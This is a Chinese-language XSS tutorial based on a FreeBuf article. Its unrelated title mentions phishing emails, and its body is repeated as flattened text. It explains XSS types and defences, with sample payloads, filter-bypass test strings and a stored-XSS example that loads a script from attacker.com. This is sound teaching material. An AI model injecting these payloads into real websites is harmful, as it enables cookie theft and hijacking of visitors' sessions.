近期常见的钓鱼邮件（202509期）

字数 1926 2025-09-23 19:27:38

基于FreeBuf文章的《Web安全测试基础：XSS漏洞原理与防御》教学文档

1. XSS漏洞概述

1.1 基本定义

跨站脚本攻击(XSS, Cross-Site Scripting)是一种将恶意脚本注入到可信网站中的攻击方式。攻击者利用Web应用对用户输入过滤不严的漏洞，将恶意代码注入到网页中，当其他用户访问该页面时，恶意代码会被执行。

1.2 危害性

窃取用户Cookie和会话信息
篡改网页内容
进行钓鱼攻击
传播恶意软件
劫持用户会话
记录键盘输入

2. XSS漏洞类型

2.1 反射型XSS (非持久型)

攻击脚本来自当前HTTP请求
服务器未正确处理用户输入，直接返回给客户端
需要诱骗用户点击特制链接
典型场景：搜索框、错误消息页面

2.2 存储型XSS (持久型)

攻击脚本被存储到服务器数据库中
每次用户访问受影响页面都会执行恶意代码
危害更大，影响范围更广
典型场景：留言板、评论系统、用户资料

2.3 DOM型XSS

完全在客户端执行，不涉及服务器
由于JavaScript不当地操作DOM导致
攻击载荷在URL片段(#之后的部分)中
典型场景：基于前端框架的单页应用

3. XSS攻击原理

3.1 基本攻击流程

攻击者构造恶意输入
网站未充分过滤输入，存储或反射恶意代码
受害者访问包含恶意代码的页面
浏览器执行恶意脚本
攻击者获取敏感信息或执行恶意操作

3.2 常见注入点

<script>标签直接执行
HTML标签属性：onerror, onload, onclick等事件
javascript:伪协议
CSS表达式
Flash ActionScript

3.3 典型攻击载荷

<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<a href="javascript:alert(1)">点击</a>
<div onmouseover="alert(1)"></div>

4. XSS漏洞检测方法

4.1 手工测试

寻找所有用户输入点
尝试注入简单测试载荷：<script>alert(1)</script>
观察是否弹出警告框或代码被执行
尝试绕过可能的过滤机制

4.2 自动化工具

Burp Suite
OWASP ZAP
XSSer
BeEF (Browser Exploitation Framework)

4.3 测试用例示例

<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("XSS")`>
<IMG """><SCRIPT>alert('XSS')</SCRIPT>">

5. XSS防御措施

5.1 输入过滤

对用户输入进行严格验证
使用白名单而非黑名单
过滤或转义特殊字符：<, >, ", ', &, /
使用正则表达式进行模式匹配

5.2 输出编码

HTML实体编码：< → <, > → >
JavaScript编码
URL编码
CSS编码
根据输出上下文选择合适的编码方式

5.3 使用安全HTTP头

Content Security Policy (CSP)

Content-Security-Policy: default-src 'self'; script-src 'self' trusted.com; object-src 'none'

X-XSS-Protection
```
X-XSS-Protection: 1; mode=block
```
HttpOnly Cookie标志
```
Set-Cookie: sessionid=12345; HttpOnly
```

5.4 其他防御措施

使用现代前端框架(React, Vue等)的自动转义功能
避免使用innerHTML，使用textContent代替
对富文本使用专门的净化库(如DOMPurify)
定期进行安全审计和渗透测试

6. 实际案例分析

6.1 反射型XSS案例

http://example.com/search?query=<script>alert(1)</script>

服务器直接返回用户搜索内容
未对特殊字符进行转义
解决方案：对输出进行HTML实体编码

6.2 存储型XSS案例

// 用户评论内容
<script src="http://attacker.com/malicious.js"></script>

评论系统未过滤脚本标签
解决方案：输入时过滤危险标签，输出时进行编码

6.3 DOM型XSS案例

// 从URL获取参数并直接写入DOM
var name = document.location.hash.substr(1);
document.getElementById('username').innerHTML = name;

攻击URL: example.com#<img src=x onerror=alert(1)>
解决方案：使用textContent而非innerHTML，对输入进行验证

7. 进阶话题

7.1 XSS与CSRF结合攻击

利用XSS窃取CSRF Token
通过XSS发起CSRF请求
组合攻击危害更大

7.2 绕过过滤技术

大小写混淆：<ScRiPt>
编码混淆：<img src=x onerror=alert(1)>
使用HTML5新标签/属性
利用浏览器解析差异

7.3 现代Web安全机制

Subresource Integrity (SRI)
Trusted Types API
Sandboxed iframes
SameSite Cookie属性

8. 总结

XSS漏洞是Web应用最常见的安全威胁之一，防御XSS需要开发者：

对所有用户输入保持怀疑态度
实施严格的输入验证和输出编码
采用纵深防御策略，结合多种安全措施
保持对新兴攻击技术的了解
定期进行安全测试和代码审计

通过全面的防御措施，可以显著降低XSS攻击的风险，保护用户数据和系统安全。

基于FreeBuf文章的《Web安全测试基础：XSS漏洞原理与防御》教学文档 1. XSS漏洞概述 1.1 基本定义跨站脚本攻击(XSS, Cross-Site Scripting)是一种将恶意脚本注入到可信网站中的攻击方式。攻击者利用Web应用对用户输入过滤不严的漏洞，将恶意代码注入到网页中，当其他用户访问该页面时，恶意代码会被执行。 1.2 危害性窃取用户Cookie和会话信息篡改网页内容进行钓鱼攻击传播恶意软件劫持用户会话记录键盘输入 2. XSS漏洞类型 2.1 反射型XSS (非持久型) 攻击脚本来自当前HTTP请求服务器未正确处理用户输入，直接返回给客户端需要诱骗用户点击特制链接典型场景：搜索框、错误消息页面 2.2 存储型XSS (持久型) 攻击脚本被存储到服务器数据库中每次用户访问受影响页面都会执行恶意代码危害更大，影响范围更广典型场景：留言板、评论系统、用户资料 2.3 DOM型XSS 完全在客户端执行，不涉及服务器由于JavaScript不当地操作DOM导致攻击载荷在URL片段(#之后的部分)中典型场景：基于前端框架的单页应用 3. XSS攻击原理 3.1 基本攻击流程攻击者构造恶意输入网站未充分过滤输入，存储或反射恶意代码受害者访问包含恶意代码的页面浏览器执行恶意脚本攻击者获取敏感信息或执行恶意操作 3.2 常见注入点 <script> 标签直接执行 HTML标签属性： onerror , onload , onclick 等事件 javascript: 伪协议 CSS表达式 Flash ActionScript 3.3 典型攻击载荷 4. XSS漏洞检测方法 4.1 手工测试寻找所有用户输入点尝试注入简单测试载荷： <script>alert(1)</script> 观察是否弹出警告框或代码被执行尝试绕过可能的过滤机制 4.2 自动化工具 Burp Suite OWASP ZAP XSSer BeEF (Browser Exploitation Framework) 4.3 测试用例示例 5. XSS防御措施 5.1 输入过滤对用户输入进行严格验证使用白名单而非黑名单过滤或转义特殊字符： < , > , " , ' , & , / 使用正则表达式进行模式匹配 5.2 输出编码 HTML实体编码： < → < , > → > JavaScript编码 URL编码 CSS编码根据输出上下文选择合适的编码方式 5.3 使用安全HTTP头 Content Security Policy (CSP) X-XSS-Protection HttpOnly Cookie标志 5.4 其他防御措施使用现代前端框架(React, Vue等)的自动转义功能避免使用 innerHTML ，使用 textContent 代替对富文本使用专门的净化库(如DOMPurify) 定期进行安全审计和渗透测试 6. 实际案例分析 6.1 反射型XSS案例服务器直接返回用户搜索内容未对特殊字符进行转义解决方案：对输出进行HTML实体编码 6.2 存储型XSS案例评论系统未过滤脚本标签解决方案：输入时过滤危险标签，输出时进行编码 6.3 DOM型XSS案例攻击URL: example.com#<img src=x onerror=alert(1)> 解决方案：使用 textContent 而非 innerHTML ，对输入进行验证 7. 进阶话题 7.1 XSS与CSRF结合攻击利用XSS窃取CSRF Token 通过XSS发起CSRF请求组合攻击危害更大 7.2 绕过过滤技术大小写混淆： <ScRiPt> 编码混淆： <img src=x onerror=alert(1)> 使用HTML5新标签/属性利用浏览器解析差异 7.3 现代Web安全机制 Subresource Integrity (SRI) Trusted Types API Sandboxed iframes SameSite Cookie属性 8. 总结 XSS漏洞是Web应用最常见的安全威胁之一，防御XSS需要开发者：对所有用户输入保持怀疑态度实施严格的输入验证和输出编码采用纵深防御策略，结合多种安全措施保持对新兴攻击技术的了解定期进行安全测试和代码审计通过全面的防御措施，可以显著降低XSS攻击的风险，保护用户数据和系统安全。